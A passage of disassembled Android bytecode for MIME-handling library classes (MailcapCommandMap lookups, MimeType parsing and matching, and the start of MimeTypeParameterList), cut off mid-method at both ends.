0000009E  invoke-static           LogSupport->log(String)V, v0
:A4
000000A4  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
000000A8  aget-object             v0, v0, v2
000000AC  invoke-virtual          MailcapFile->getMailcapList(String)Map, v0, p1
000000B2  move-result-object      v0
000000B4  if-eqz                  v0, :6C
:B8
000000B8  const-string            v3, "content-handler"
000000BC  invoke-interface        Map->get(Object)Object, v0, v3
000000C2  move-result-object      v0
000000C4  check-cast              v0, List
000000C8  if-eqz                  v0, :6C
:CC
000000CC  const/4                 v3, 0x0
000000CE  invoke-interface        List->get(I)Object, v0, v3
000000D4  move-result-object      v0
000000D6  check-cast              v0, String
000000DA  invoke-direct           MailcapCommandMap->getDataContentHandler(String)DataContentHandler, p0, v0
000000E0  move-result-object      v0
000000E2  if-eqz                  v0, :6C
:E6
000000E6  goto                    :5C
:E8
000000E8  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
000000EC  aget-object             v0, v0, v1
000000F0  if-nez                  v0, :FC
:F4
000000F4  add-int/lit8            v0, v1, 0x1
000000F8  move                    v1, v0
000000FA  goto                    :50
:FC
000000FC  invoke-static           LogSupport->isLoggable()Z
00000102  move-result             v0
00000104  if-eqz                  v0, :12C
:108
00000108  new-instance            v0, StringBuilder
0000010C  const-string            v2, "  search fallback DB #"
00000110  invoke-direct           StringBuilder-><init>(String)V, v0, v2
00000116  invoke-virtual          StringBuilder->append(I)StringBuilder, v0, v1
0000011C  move-result-object      v0
0000011E  invoke-virtual          StringBuilder->toString()String, v0
00000124  move-result-object      v0
00000126  invoke-static           LogSupport->log(String)V, v0
:12C
0000012C  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
00000130  aget-object             v0, v0, v1
00000134  invoke-virtual          MailcapFile->getMailcapFallbackList(String)Map, v0, p1
0000013A  move-result-object      v0
0000013C  if-eqz                  v0, :F4
:140
00000140  const-string            v2, "content-handler"
00000144  invoke-interface        Map->get(Object)Object, v0, v2
0000014A  move-result-object      v0
0000014C  check-cast              v0, List
00000150  if-eqz                  v0, :F4
:154
00000154  const/4                 v2, 0x0
00000156  invoke-interface        List->get(I)Object, v0, v2
0000015C  move-result-object      v0
0000015E  check-cast              v0, String
00000162  invoke-direct           MailcapCommandMap->getDataContentHandler(String)DataContentHandler, p0, v0
:168
00000168  move-result-object      v0
0000016A  if-eqz                  v0, :F4
:16E
0000016E  goto/16                 :5C
:172
00000172  move-exception          v0
00000174  monitor-exit            p0
00000176  throw                   v0
          .catchall {:4 .. :56} :172
          .catchall {:60 .. :168} :172
.end method

.method public declared-synchronized getAllCommands(String)[CommandInfo
          .registers 6
00000000  const/4                 v0, 0x0
00000002  monitor-enter           p0
:4
00000004  new-instance            v2, ArrayList
00000008  invoke-direct           ArrayList-><init>()V, v2
0000000E  if-eqz                  p1, :1E
:12
00000012  sget-object             v1, Locale->ENGLISH:Locale
00000016  invoke-virtual          String->toLowerCase(Locale)String, p1, v1
0000001C  move-result-object      p1
:1E
0000001E  move                    v1, v0
:20
00000020  iget-object             v3, p0, MailcapCommandMap->DB:[MailcapFile
00000024  array-length            v3, v3
00000026  if-lt                   v1, v3, :50
:2A
0000002A  iget-object             v1, p0, MailcapCommandMap->DB:[MailcapFile
0000002E  array-length            v1, v1
00000030  if-lt                   v0, v1, :84
:34
00000034  invoke-interface        List->size()I, v2
0000003A  move-result             v0
0000003C  new-array               v0, v0, [CommandInfo
00000040  invoke-interface        List->toArray([Object)[Object, v2, v0
00000046  move-result-object      v0
00000048  check-cast              v0, [CommandInfo
:4C
0000004C  monitor-exit            p0
0000004E  return-object           v0
:50
00000050  iget-object             v3, p0, MailcapCommandMap->DB:[MailcapFile
00000054  aget-object             v3, v3, v1
00000058  if-nez                  v3, :62
:5C
0000005C  add-int/lit8            v1, v1, 0x1
00000060  goto                    :20
:62
00000062  iget-object             v3, p0, MailcapCommandMap->DB:[MailcapFile
00000066  aget-object             v3, v3, v1
0000006A  invoke-virtual          MailcapFile->getMailcapList(String)Map, v3, p1
00000070  move-result-object      v3
00000072  if-eqz                  v3, :5C
:76
00000076  invoke-direct           MailcapCommandMap->appendCmdsToList(Map, List)V, p0, v3, v2
:7C
0000007C  goto                    :5C
:7E
0000007E  move-exception          v0
00000080  monitor-exit            p0
00000082  throw                   v0
:84
00000084  iget-object             v1, p0, MailcapCommandMap->DB:[MailcapFile
00000088  aget-object             v1, v1, v0
0000008C  if-nez                  v1, :96
:90
00000090  add-int/lit8            v0, v0, 0x1
00000094  goto                    :2A
:96
00000096  iget-object             v1, p0, MailcapCommandMap->DB:[MailcapFile
0000009A  aget-object             v1, v1, v0
0000009E  invoke-virtual          MailcapFile->getMailcapFallbackList(String)Map, v1, p1
000000A4  move-result-object      v1
000000A6  if-eqz                  v1, :90
:AA
000000AA  invoke-direct           MailcapCommandMap->appendCmdsToList(Map, List)V, p0, v1, v2
:B0
000000B0  goto                    :90
          .catchall {:4 .. :4C} :7E
          .catchall {:50 .. :7C} :7E
          .catchall {:84 .. :B0} :7E
.end method

.method public declared-synchronized getCommand(String, String)CommandInfo
          .registers 7
00000000  const/4                 v1, 0x0
00000002  monitor-enter           p0
00000004  if-eqz                  p1, :14
:8
00000008  sget-object             v0, Locale->ENGLISH:Locale
0000000C  invoke-virtual          String->toLowerCase(Locale)String, p1, v0
00000012  move-result-object      p1
:14
00000014  move                    v2, v1
:16
00000016  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
0000001A  array-length            v0, v0
0000001C  if-lt                   v2, v0, :30
:20
00000020  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
00000024  array-length            v0, v0
:26
00000026  if-lt                   v1, v0, :88
:2A
0000002A  const/4                 v0, 0x0
:2C
0000002C  monitor-exit            p0
0000002E  return-object           v0
:30
00000030  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
00000034  aget-object             v0, v0, v2
00000038  if-nez                  v0, :44
:3C
0000003C  add-int/lit8            v0, v2, 0x1
00000040  move                    v2, v0
00000042  goto                    :16
:44
00000044  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
00000048  aget-object             v0, v0, v2
0000004C  invoke-virtual          MailcapFile->getMailcapList(String)Map, v0, p1
00000052  move-result-object      v0
00000054  if-eqz                  v0, :3C
:58
00000058  invoke-interface        Map->get(Object)Object, v0, p2
0000005E  move-result-object      v0
00000060  check-cast              v0, List
00000064  if-eqz                  v0, :3C
:68
00000068  const/4                 v3, 0x0
0000006A  invoke-interface        List->get(I)Object, v0, v3
00000070  move-result-object      v0
00000072  check-cast              v0, String
00000076  if-eqz                  v0, :3C
:7A
0000007A  new-instance            v1, CommandInfo
0000007E  invoke-direct           CommandInfo-><init>(String, String)V, v1, p2, v0
00000084  move-object             v0, v1
00000086  goto                    :2C
:88
00000088  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
0000008C  aget-object             v0, v0, v1
00000090  if-nez                  v0, :9C
:94
00000094  add-int/lit8            v0, v1, 0x1
00000098  move                    v1, v0
0000009A  goto                    :20
:9C
0000009C  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
000000A0  aget-object             v0, v0, v1
000000A4  invoke-virtual          MailcapFile->getMailcapFallbackList(String)Map, v0, p1
000000AA  move-result-object      v0
000000AC  if-eqz                  v0, :94
:B0
000000B0  invoke-interface        Map->get(Object)Object, v0, p2
000000B6  move-result-object      v0
000000B8  check-cast              v0, List
000000BC  if-eqz                  v0, :94
:C0
000000C0  const/4                 v2, 0x0
000000C2  invoke-interface        List->get(I)Object, v0, v2
000000C8  move-result-object      v0
000000CA  check-cast              v0, String
000000CE  if-eqz                  v0, :94
:D2
000000D2  new-instance            v1, CommandInfo
000000D6  invoke-direct           CommandInfo-><init>(String, String)V, v1, p2, v0
:DC
000000DC  move-object             v0, v1
000000DE  goto                    :2C
:E0
000000E0  move-exception          v0
000000E2  monitor-exit            p0
000000E4  throw                   v0
          .catchall {:8 .. :26} :E0
          .catchall {:30 .. :DC} :E0
.end method

.method public declared-synchronized getMimeTypes()[String
          .registers 7
00000000  const/4                 v1, 0x0
00000002  monitor-enter           p0
:4
00000004  new-instance            v3, ArrayList
00000008  invoke-direct           ArrayList-><init>()V, v3
0000000E  move                    v2, v1
:10
00000010  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
00000014  array-length            v0, v0
00000016  if-lt                   v2, v0, :36
:1A
0000001A  invoke-interface        List->size()I, v3
00000020  move-result             v0
00000022  new-array               v0, v0, [String
00000026  invoke-interface        List->toArray([Object)[Object, v3, v0
0000002C  move-result-object      v0
0000002E  check-cast              v0, [String
:32
00000032  monitor-exit            p0
00000034  return-object           v0
:36
00000036  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
0000003A  aget-object             v0, v0, v2
0000003E  if-nez                  v0, :4A
:42
00000042  add-int/lit8            v0, v2, 0x1
00000046  move                    v2, v0
00000048  goto                    :10
:4A
0000004A  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
0000004E  aget-object             v0, v0, v2
00000052  invoke-virtual          MailcapFile->getMimeTypes()[String, v0
00000058  move-result-object      v4
0000005A  if-eqz                  v4, :42
:5E
0000005E  move                    v0, v1
:60
00000060  array-length            v5, v4
00000062  if-ge                   v0, v5, :42
:66
00000066  aget-object             v5, v4, v0
0000006A  invoke-interface        List->contains(Object)Z, v3, v5
00000070  move-result             v5
00000072  if-nez                  v5, :80
:76
00000076  aget-object             v5, v4, v0
0000007A  invoke-interface        List->add(Object)Z, v3, v5
:80
00000080  add-int/lit8            v0, v0, 0x1
00000084  goto                    :60
:86
00000086  move-exception          v0
00000088  monitor-exit            p0
0000008A  throw                   v0
          .catchall {:4 .. :32} :86
          .catchall {:36 .. :80} :86
.end method

.method public declared-synchronized getNativeCommands(String)[String
          .registers 8
00000000  const/4                 v1, 0x0
00000002  monitor-enter           p0
:4
00000004  new-instance            v3, ArrayList
00000008  invoke-direct           ArrayList-><init>()V, v3
0000000E  if-eqz                  p1, :1E
:12
00000012  sget-object             v0, Locale->ENGLISH:Locale
00000016  invoke-virtual          String->toLowerCase(Locale)String, p1, v0
0000001C  move-result-object      p1
:1E
0000001E  move                    v2, v1
:20
00000020  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
00000024  array-length            v0, v0
00000026  if-lt                   v2, v0, :46
:2A
0000002A  invoke-interface        List->size()I, v3
00000030  move-result             v0
00000032  new-array               v0, v0, [String
00000036  invoke-interface        List->toArray([Object)[Object, v3, v0
0000003C  move-result-object      v0
0000003E  check-cast              v0, [String
:42
00000042  monitor-exit            p0
00000044  return-object           v0
:46
00000046  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
0000004A  aget-object             v0, v0, v2
0000004E  if-nez                  v0, :5A
:52
00000052  add-int/lit8            v0, v2, 0x1
00000056  move                    v2, v0
00000058  goto                    :20
:5A
0000005A  iget-object             v0, p0, MailcapCommandMap->DB:[MailcapFile
0000005E  aget-object             v0, v0, v2
00000062  invoke-virtual          MailcapFile->getNativeCommands(String)[String, v0, p1
00000068  move-result-object      v4
0000006A  if-eqz                  v4, :52
:6E
0000006E  move                    v0, v1
:70
00000070  array-length            v5, v4
00000072  if-ge                   v0, v5, :52
:76
00000076  aget-object             v5, v4, v0
0000007A  invoke-interface        List->contains(Object)Z, v3, v5
00000080  move-result             v5
00000082  if-nez                  v5, :90
:86
00000086  aget-object             v5, v4, v0
0000008A  invoke-interface        List->add(Object)Z, v3, v5
:90
00000090  add-int/lit8            v0, v0, 0x1
00000094  goto                    :70
:96
00000096  move-exception          v0
00000098  monitor-exit            p0
0000009A  throw                   v0
          .catchall {:4 .. :42} :96
          .catchall {:46 .. :90} :96
.end method

.method public declared-synchronized getPreferredCommands(String)[CommandInfo
          .registers 6
00000000  const/4                 v0, 0x0
00000002  monitor-enter           p0
:4
00000004  new-instance            v2, ArrayList
00000008  invoke-direct           ArrayList-><init>()V, v2
0000000E  if-eqz                  p1, :1E
:12
00000012  sget-object             v1, Locale->ENGLISH:Locale
00000016  invoke-virtual          String->toLowerCase(Locale)String, p1, v1
0000001C  move-result-object      p1
:1E
0000001E  move                    v1, v0
:20
00000020  iget-object             v3, p0, MailcapCommandMap->DB:[MailcapFile
00000024  array-length            v3, v3
00000026  if-lt                   v1, v3, :50
:2A
0000002A  iget-object             v1, p0, MailcapCommandMap->DB:[MailcapFile
0000002E  array-length            v1, v1
00000030  if-lt                   v0, v1, :84
:34
00000034  invoke-interface        List->size()I, v2
0000003A  move-result             v0
0000003C  new-array               v0, v0, [CommandInfo
00000040  invoke-interface        List->toArray([Object)[Object, v2, v0
00000046  move-result-object      v0
00000048  check-cast              v0, [CommandInfo
:4C
0000004C  monitor-exit            p0
0000004E  return-object           v0
:50
00000050  iget-object             v3, p0, MailcapCommandMap->DB:[MailcapFile
00000054  aget-object             v3, v3, v1
00000058  if-nez                  v3, :62
:5C
0000005C  add-int/lit8            v1, v1, 0x1
00000060  goto                    :20
:62
00000062  iget-object             v3, p0, MailcapCommandMap->DB:[MailcapFile
00000066  aget-object             v3, v3, v1
0000006A  invoke-virtual          MailcapFile->getMailcapList(String)Map, v3, p1
00000070  move-result-object      v3
00000072  if-eqz                  v3, :5C
:76
00000076  invoke-direct           MailcapCommandMap->appendPrefCmdsToList(Map, List)V, p0, v3, v2
:7C
0000007C  goto                    :5C
:7E
0000007E  move-exception          v0
00000080  monitor-exit            p0
00000082  throw                   v0
:84
00000084  iget-object             v1, p0, MailcapCommandMap->DB:[MailcapFile
00000088  aget-object             v1, v1, v0
0000008C  if-nez                  v1, :96
:90
00000090  add-int/lit8            v0, v0, 0x1
00000094  goto                    :2A
:96
00000096  iget-object             v1, p0, MailcapCommandMap->DB:[MailcapFile
0000009A  aget-object             v1, v1, v0
0000009E  invoke-virtual          MailcapFile->getMailcapFallbackList(String)Map, v1, p1
000000A4  move-result-object      v1
000000A6  if-eqz                  v1, :90
:AA
000000AA  invoke-direct           MailcapCommandMap->appendPrefCmdsToList(Map, List)V, p0, v1, v2
:B0
000000B0  goto                    :90
          .catchall {:4 .. :4C} :7E
          .catchall {:50 .. :7C} :7E
          .catchall {:84 .. :B0} :7E
.end method

#--------------------------------------------------------------------------------
.class public MimeType
.super Object
.source ""

.implements Externalizable

.field private static final TSPECIALS:String = "()<>@,;:/[]?=\\\""
.field private parameters:MimeTypeParameterList
.field private primaryType:String
.field private subType:String

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  const-string            v0, "application"
0000000A  iput-object             v0, p0, MimeType->primaryType:String
0000000E  const-string            v0, "*"
00000012  iput-object             v0, p0, MimeType->subType:String
00000016  new-instance            v0, MimeTypeParameterList
0000001A  invoke-direct           MimeTypeParameterList-><init>()V, v0
00000020  iput-object             v0, p0, MimeType->parameters:MimeTypeParameterList
00000024  return-void
.end method

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  invoke-direct           MimeType->parse(String)V, p0, p1
0000000C  return-void
.end method

.method public constructor <init>(String, String)V
          .registers 5
00000000  invoke-direct           Object-><init>()V, p0
00000006  invoke-direct           MimeType->isValidToken(String)Z, p0, p1
0000000C  move-result             v0
0000000E  if-eqz                  v0, :4E
:12
00000012  sget-object             v0, Locale->ENGLISH:Locale
00000016  invoke-virtual          String->toLowerCase(Locale)String, p1, v0
0000001C  move-result-object      v0
0000001E  iput-object             v0, p0, MimeType->primaryType:String
00000022  invoke-direct           MimeType->isValidToken(String)Z, p0, p2
00000028  move-result             v0
0000002A  if-eqz                  v0, :5E
:2E
0000002E  sget-object             v0, Locale->ENGLISH:Locale
00000032  invoke-virtual          String->toLowerCase(Locale)String, p2, v0
00000038  move-result-object      v0
0000003A  iput-object             v0, p0, MimeType->subType:String
0000003E  new-instance            v0, MimeTypeParameterList
00000042  invoke-direct           MimeTypeParameterList-><init>()V, v0
00000048  iput-object             v0, p0, MimeType->parameters:MimeTypeParameterList
0000004C  return-void
:4E
0000004E  new-instance            v0, MimeTypeParseException
00000052  const-string            v1, "Primary type is invalid."
00000056  invoke-direct           MimeTypeParseException-><init>(String)V, v0, v1
0000005C  throw                   v0
:5E
0000005E  new-instance            v0, MimeTypeParseException
00000062  const-string            v1, "Sub type is invalid."
00000066  invoke-direct           MimeTypeParseException-><init>(String)V, v0, v1
0000006C  throw                   v0
.end method

.method private static isTokenChar(C)Z
          .registers 2
00000000  const/16                v0, 0x20
00000004  if-le                   p0, v0, :24
:8
00000008  const/16                v0, 0x7F
0000000C  if-ge                   p0, v0, :24
:10
00000010  const-string            v0, "()<>@,;:/[]?=\\\""
00000014  invoke-virtual          String->indexOf(I)I, v0, p0
0000001A  move-result             v0
0000001C  if-gez                  v0, :24
:20
00000020  const/4                 v0, 0x1
:22
00000022  return                  v0
:24
00000024  const/4                 v0, 0x0
00000026  goto                    :22
.end method

.method private isValidToken(String)Z
          .registers 6
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          String->length()I, p1
00000008  move-result             v2
0000000A  if-lez                  v2, :16
:E
0000000E  move                    v1, v0
:10
00000010  if-lt                   v1, v2, :18
:14
00000014  const/4                 v0, 0x1
:16
00000016  return                  v0
:18
00000018  invoke-virtual          String->charAt(I)C, p1, v1
0000001E  move-result             v3
00000020  invoke-static           MimeType->isTokenChar(C)Z, v3
00000026  move-result             v3
00000028  if-eqz                  v3, :16
:2C
0000002C  add-int/lit8            v1, v1, 0x1
00000030  goto                    :10
.end method

.method private parse(String)V
          .registers 6
00000000  const/4                 v2, 0x0
00000002  const/16                v0, 0x2F
00000006  invoke-virtual          String->indexOf(I)I, p1, v0
0000000C  move-result             v0
0000000E  const/16                v1, 0x3B
00000012  invoke-virtual          String->indexOf(I)I, p1, v1
00000018  move-result             v1
0000001A  if-gez                  v0, :32
:1E
0000001E  if-gez                  v1, :32
:22
00000022  new-instance            v0, MimeTypeParseException
00000026  const-string            v1, "Unable to find a sub type."
0000002A  invoke-direct           MimeTypeParseException-><init>(String)V, v0, v1
00000030  throw                   v0
:32
00000032  if-gez                  v0, :4A
:36
00000036  if-ltz                  v1, :4A
:3A
0000003A  new-instance            v0, MimeTypeParseException
0000003E  const-string            v1, "Unable to find a sub type."
00000042  invoke-direct           MimeTypeParseException-><init>(String)V, v0, v1
00000048  throw                   v0
:4A
0000004A  if-ltz                  v0, :C4
:4E
0000004E  if-gez                  v1, :C4
:52
00000052  invoke-virtual          String->substring(I, I)String, p1, v2, v0
00000058  move-result-object      v1
0000005A  invoke-virtual          String->trim()String, v1
00000060  move-result-object      v1
00000062  sget-object             v2, Locale->ENGLISH:Locale
00000066  invoke-virtual          String->toLowerCase(Locale)String, v1, v2
0000006C  move-result-object      v1
0000006E  iput-object             v1, p0, MimeType->primaryType:String
00000072  add-int/lit8            v0, v0, 0x1
00000076  invoke-virtual          String->substring(I)String, p1, v0
0000007C  move-result-object      v0
0000007E  invoke-virtual          String->trim()String, v0
00000084  move-result-object      v0
00000086  sget-object             v1, Locale->ENGLISH:Locale
0000008A  invoke-virtual          String->toLowerCase(Locale)String, v0, v1
00000090  move-result-object      v0
00000092  iput-object             v0, p0, MimeType->subType:String
00000096  new-instance            v0, MimeTypeParameterList
0000009A  invoke-direct           MimeTypeParameterList-><init>()V, v0
000000A0  iput-object             v0, p0, MimeType->parameters:MimeTypeParameterList
:A4
000000A4  iget-object             v0, p0, MimeType->primaryType:String
000000A8  invoke-direct           MimeType->isValidToken(String)Z, p0, v0
000000AE  move-result             v0
000000B0  if-nez                  v0, :134
:B4
000000B4  new-instance            v0, MimeTypeParseException
000000B8  const-string            v1, "Primary type is invalid."
000000BC  invoke-direct           MimeTypeParseException-><init>(String)V, v0, v1
000000C2  throw                   v0
:C4
000000C4  if-ge                   v0, v1, :124
:C8
000000C8  invoke-virtual          String->substring(I, I)String, p1, v2, v0
000000CE  move-result-object      v2
000000D0  invoke-virtual          String->trim()String, v2
000000D6  move-result-object      v2
000000D8  sget-object             v3, Locale->ENGLISH:Locale
000000DC  invoke-virtual          String->toLowerCase(Locale)String, v2, v3
000000E2  move-result-object      v2
000000E4  iput-object             v2, p0, MimeType->primaryType:String
000000E8  add-int/lit8            v0, v0, 0x1
000000EC  invoke-virtual          String->substring(I, I)String, p1, v0, v1
000000F2  move-result-object      v0
000000F4  invoke-virtual          String->trim()String, v0
000000FA  move-result-object      v0
000000FC  sget-object             v2, Locale->ENGLISH:Locale
00000100  invoke-virtual          String->toLowerCase(Locale)String, v0, v2
00000106  move-result-object      v0
00000108  iput-object             v0, p0, MimeType->subType:String
0000010C  new-instance            v0, MimeTypeParameterList
00000110  invoke-virtual          String->substring(I)String, p1, v1
00000116  move-result-object      v1
00000118  invoke-direct           MimeTypeParameterList-><init>(String)V, v0, v1
0000011E  iput-object             v0, p0, MimeType->parameters:MimeTypeParameterList
00000122  goto                    :A4
:124
00000124  new-instance            v0, MimeTypeParseException
00000128  const-string            v1, "Unable to find a sub type."
0000012C  invoke-direct           MimeTypeParseException-><init>(String)V, v0, v1
00000132  throw                   v0
:134
00000134  iget-object             v0, p0, MimeType->subType:String
00000138  invoke-direct           MimeType->isValidToken(String)Z, p0, v0
0000013E  move-result             v0
00000140  if-nez                  v0, :154
:144
00000144  new-instance            v0, MimeTypeParseException
00000148  const-string            v1, "Sub type is invalid."
0000014C  invoke-direct           MimeTypeParseException-><init>(String)V, v0, v1
00000152  throw                   v0
:154
00000154  return-void
.end method

.method public getBaseType()String
          .registers 3
00000000  new-instance            v0, StringBuilder
00000004  iget-object             v1, p0, MimeType->primaryType:String
00000008  invoke-static           String->valueOf(Object)String, v1
0000000E  move-result-object      v1
00000010  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000016  const-string            v1, "/"
0000001A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000020  move-result-object      v0
00000022  iget-object             v1, p0, MimeType->subType:String
00000026  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000002C  move-result-object      v0
0000002E  invoke-virtual          StringBuilder->toString()String, v0
00000034  move-result-object      v0
00000036  return-object           v0
.end method

.method public getParameter(String)String
          .registers 3
00000000  iget-object             v0, p0, MimeType->parameters:MimeTypeParameterList
00000004  invoke-virtual          MimeTypeParameterList->get(String)String, v0, p1
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getParameters()MimeTypeParameterList
          .registers 2
00000000  iget-object             v0, p0, MimeType->parameters:MimeTypeParameterList
00000004  return-object           v0
.end method

.method public getPrimaryType()String
          .registers 2
00000000  iget-object             v0, p0, MimeType->primaryType:String
00000004  return-object           v0
.end method

.method public getSubType()String
          .registers 2
00000000  iget-object             v0, p0, MimeType->subType:String
00000004  return-object           v0
.end method

.method public match(String)Z
          .registers 3
00000000  new-instance            v0, MimeType
00000004  invoke-direct           MimeType-><init>(String)V, v0, p1
0000000A  invoke-virtual          MimeType->match(MimeType)Z, p0, v0
00000010  move-result             v0
00000012  return                  v0
.end method

.method public match(MimeType)Z
          .registers 4
00000000  iget-object             v0, p0, MimeType->primaryType:String
00000004  invoke-virtual          MimeType->getPrimaryType()String, p1
0000000A  move-result-object      v1
0000000C  invoke-virtual          String->equals(Object)Z, v0, v1
00000012  move-result             v0
00000014  if-eqz                  v0, :60
:18
00000018  iget-object             v0, p0, MimeType->subType:String
0000001C  const-string            v1, "*"
00000020  invoke-virtual          String->equals(Object)Z, v0, v1
00000026  move-result             v0
00000028  if-nez                  v0, :5C
:2C
0000002C  invoke-virtual          MimeType->getSubType()String, p1
00000032  move-result-object      v0
00000034  const-string            v1, "*"
00000038  invoke-virtual          String->equals(Object)Z, v0, v1
0000003E  move-result             v0
00000040  if-nez                  v0, :5C
:44
00000044  iget-object             v0, p0, MimeType->subType:String
00000048  invoke-virtual          MimeType->getSubType()String, p1
0000004E  move-result-object      v1
00000050  invoke-virtual          String->equals(Object)Z, v0, v1
00000056  move-result             v0
00000058  if-eqz                  v0, :60
:5C
0000005C  const/4                 v0, 0x1
:5E
0000005E  return                  v0
:60
00000060  const/4                 v0, 0x0
00000062  goto                    :5E
.end method

.method public readExternal(ObjectInput)V
          .registers 4
00000000  invoke-interface        ObjectInput->readUTF()String, p1
00000006  move-result-object      v0
00000008  invoke-direct           MimeType->parse(String)V, p0, v0
:E
0000000E  return-void
:10
00000010  move-exception          v0
00000012  new-instance            v1, IOException
00000016  invoke-virtual          MimeTypeParseException->toString()String, v0
0000001C  move-result-object      v0
0000001E  invoke-direct           IOException-><init>(String)V, v1, v0
00000024  throw                   v1
          .catch MimeTypeParseException {:0 .. :E} :10
.end method

.method public removeParameter(String)V
          .registers 3
00000000  iget-object             v0, p0, MimeType->parameters:MimeTypeParameterList
00000004  invoke-virtual          MimeTypeParameterList->remove(String)V, v0, p1
0000000A  return-void
.end method

.method public setParameter(String, String)V
          .registers 4
00000000  iget-object             v0, p0, MimeType->parameters:MimeTypeParameterList
00000004  invoke-virtual          MimeTypeParameterList->set(String, String)V, v0, p1, p2
0000000A  return-void
.end method

.method public setPrimaryType(String)V
          .registers 4
00000000  iget-object             v0, p0, MimeType->primaryType:String
00000004  invoke-direct           MimeType->isValidToken(String)Z, p0, v0
0000000A  move-result             v0
0000000C  if-nez                  v0, :20
:10
00000010  new-instance            v0, MimeTypeParseException
00000014  const-string            v1, "Primary type is invalid."
00000018  invoke-direct           MimeTypeParseException-><init>(String)V, v0, v1
0000001E  throw                   v0
:20
00000020  sget-object             v0, Locale->ENGLISH:Locale
00000024  invoke-virtual          String->toLowerCase(Locale)String, p1, v0
0000002A  move-result-object      v0
0000002C  iput-object             v0, p0, MimeType->primaryType:String
00000030  return-void
.end method

.method public setSubType(String)V
          .registers 4
00000000  iget-object             v0, p0, MimeType->subType:String
00000004  invoke-direct           MimeType->isValidToken(String)Z, p0, v0
0000000A  move-result             v0
0000000C  if-nez                  v0, :20
:10
00000010  new-instance            v0, MimeTypeParseException
00000014  const-string            v1, "Sub type is invalid."
00000018  invoke-direct           MimeTypeParseException-><init>(String)V, v0, v1
0000001E  throw                   v0
:20
00000020  sget-object             v0, Locale->ENGLISH:Locale
00000024  invoke-virtual          String->toLowerCase(Locale)String, p1, v0
0000002A  move-result-object      v0
0000002C  iput-object             v0, p0, MimeType->subType:String
00000030  return-void
.end method

.method public toString()String
          .registers 3
00000000  new-instance            v0, StringBuilder
00000004  invoke-virtual          MimeType->getBaseType()String, p0
0000000A  move-result-object      v1
0000000C  invoke-static           String->valueOf(Object)String, v1
00000012  move-result-object      v1
00000014  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000001A  iget-object             v1, p0, MimeType->parameters:MimeTypeParameterList
0000001E  invoke-virtual          MimeTypeParameterList->toString()String, v1
00000024  move-result-object      v1
00000026  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000002C  move-result-object      v0
0000002E  invoke-virtual          StringBuilder->toString()String, v0
00000034  move-result-object      v0
00000036  return-object           v0
.end method

.method public writeExternal(ObjectOutput)V
          .registers 3
00000000  invoke-virtual          MimeType->toString()String, p0
00000006  move-result-object      v0
00000008  invoke-interface        ObjectOutput->writeUTF(String)V, p1, v0
0000000E  invoke-interface        ObjectOutput->flush()V, p1
00000014  return-void
.end method

#--------------------------------------------------------------------------------
.class public MimeTypeParameterList
.super Object
.source ""

.field private static final TSPECIALS:String = "()<>@,;:/[]?=\\\""
.field private parameters:Hashtable

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, Hashtable
0000000A  invoke-direct           Hashtable-><init>()V, v0
00000010  iput-object             v0, p0, MimeTypeParameterList->parameters:Hashtable
00000014  return-void
.end method

.method public constructor <init>(String)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, Hashtable
0000000A  invoke-direct           Hashtable-><init>()V, v0
00000010  iput-object             v0, p0, MimeTypeParameterList->parameters:Hashtable
00000014  invoke-virtual          MimeTypeParameterList->parse(String)V, p0, p1
0000001A  return-void
.end method

.method private static isTokenChar(C)Z
          .registers 2
00000000  const/16                v0, 0x20
00000004  if-le                   p0, v0, :24
:8
00000008  const/16                v0, 0x7F
0000000C  if-ge                   p0, v0, :24
:10
00000010  const-string            v0, "()<>@,;:/[]?=\\\""
00000014  invoke-virtual          String->indexOf(I)I, v0, p0
0000001A  move-result             v0
0000001C  if-gez                  v0, :24
:20
00000020  const/4                 v0, 0x1
:22
00000022  return                  v0
:24
00000024  const/4                 v0, 0x0
00000026  goto                    :22
.end method

.method private static quote(String)String
          .registers 11
00000000  const/16                v9, 0x5C
00000004  const/16                v8, 0x22
00000008  const/4                 v1, 0x0
0000000A  invoke-virtual          String->length()I, p0
00000010  move-result             v3
00000012  move                    v2, v1
00000014  move                    v0, v1
:16
00000016  if-ge                   v2, v3, :1E
:1A
0000001A  if-eqz                  v0, :56
:1E
0000001E  if-eqz                  v0, :54
:22
00000022  new-instance            v0, StringBuffer
00000026  invoke-direct           StringBuffer-><init>()V, v0
0000002C  int-to-double           v4, v3
0000002E  const-wide/high16       v6, 0x3FF8000000000000
00000032  mul-double/2addr        v4, v6
00000034  double-to-int           v2, v4
00000036  invoke-virtual          StringBuffer->ensureCapacity(I)V, v0, v2
0000003C  invoke-virtual          StringBuffer->append(C)StringBuffer, v0, v8
:42
00000042  if-lt                   v1, v3, :76
:46
00000046  invoke-virtual          StringBuffer->append(C)StringBuffer, v0, v8
0000004C  invoke-virtual          StringBuffer->toString()String, v0
00000052  move-result-object      p0
:54
00000054  return-object           p0
:56
00000056  invoke-virtual          String->charAt(I)C, p0, v2
0000005C  move-result             v0
0000005E  invoke-static           MimeTypeParameterList->isTokenChar(C)Z, v0
00000064  move-result             v0
00000066  if-eqz                  v0, :72
:6A
